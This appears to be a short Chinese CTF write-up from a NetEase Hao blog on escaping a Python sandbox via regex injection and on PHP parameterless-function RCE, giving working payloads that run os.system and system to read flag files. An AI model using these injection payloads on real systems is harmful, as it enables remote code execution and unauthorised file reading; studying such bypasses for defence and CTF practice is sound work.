0x0:前言
为了不让恶意用户执行任意的Python代码,就需要确保Python运行在沙箱中。在沙盒逃逸会有一些限制,比如说禁用某些常用的函数。另外一些有意思的点,构造payload绕过过滤,如何拿到shell或者非法读取文件。
0x1:逃逸
首先要写个交互:
可以看到这里有个正则匹配
正则匹配:
正则注入:我们可以直接进行RCE
payload:
re;a=''')|.*|(
我们过掉calc函数,然后就可以进入到下一步也就是problem。
在这步我们直接 import os就行,然后直接利用system函数:
''';import os;os.system('cat /flag*')#
0x2:RCE
无参数函数RCE,即在不使用参数的条件下,仅使用函数进行RCE :
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { }
这时如果我们用传统的eval($_POST[‘code’]); 则无法通过正则的校验 /[^\w]+((?R)?)/ ,对于该正则只允许形如 a(b(c())); a(); 也就是只能使用函数套娃,里面的函数所产生的信息就是作为参数。
payload:
? code=eval(current(array_reverse(current(get_defined_vars()))));&a=system(%27cat%20fl ag.php%27);
这里的php函数作用就不一一列举了,主要是遇到过滤,如何进行构造,这个思想很重要。
0x3:小结
每当遇到过滤时,代码审计中的正则匹配就显得尤为重要,另外把一些巧妙的手法记录下来,增强自己的技能栈。
特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。
Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.